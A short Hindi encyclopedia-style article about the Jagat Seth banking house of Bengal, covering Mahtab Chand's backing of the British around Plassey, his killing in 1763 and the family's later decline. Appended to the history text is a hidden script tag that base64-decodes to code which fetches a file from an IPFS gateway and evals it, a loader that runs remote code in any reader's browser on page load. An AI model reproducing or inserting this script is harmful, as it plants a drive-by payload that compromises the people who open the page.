जगत सेठ

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दूसरा जगत सेठ

फतेहचंद्र के बाद उसका पौत्र महताब चंद्र दूसरा जगत सेठ बना। जब नवाब सिराजुद्दौला ने उसे अपमानित किया तो वह अंग्रेज़ों के पक्ष में चला गया और प्लासी की लड़ाई से पहले और बाद में रुपये पैसों से उनकी बड़ी मदद की। यद्यपि मीर ज़ाफ़र के नवाब होने पर उसे फिर सम्मान प्राप्त हो गया था, पर मीर क़ासिम ने गद्दी पर बैठते ही उसकी वफ़ादारी पर संदेह करके 1763 ई. में उसे मरवा डाला। इसके बाद ही बंगाल का शासन अंग्रेजों के हाथ में आ गया और उन्होंने ‘ईस्ट इंडिया कंपनी’ के ऊपर जगत सेठ का कोई कर्ज होने से इंकार कर दिया। उसके बाद ही जगत सेठ घराने की अवनति शुरू हो गई। फिर भी 1912 ई. तक इस घराने के किसी न किसी व्यक्ति को जगत सेठ की उपाधि और थोड़ी-बहुत पेंशन अंग्रेजों की तरफ से मिलती रही। 1912 के बाद यह सिलसिला भी बंद हो गया। <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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टीका टिप्पणी और संदर्भ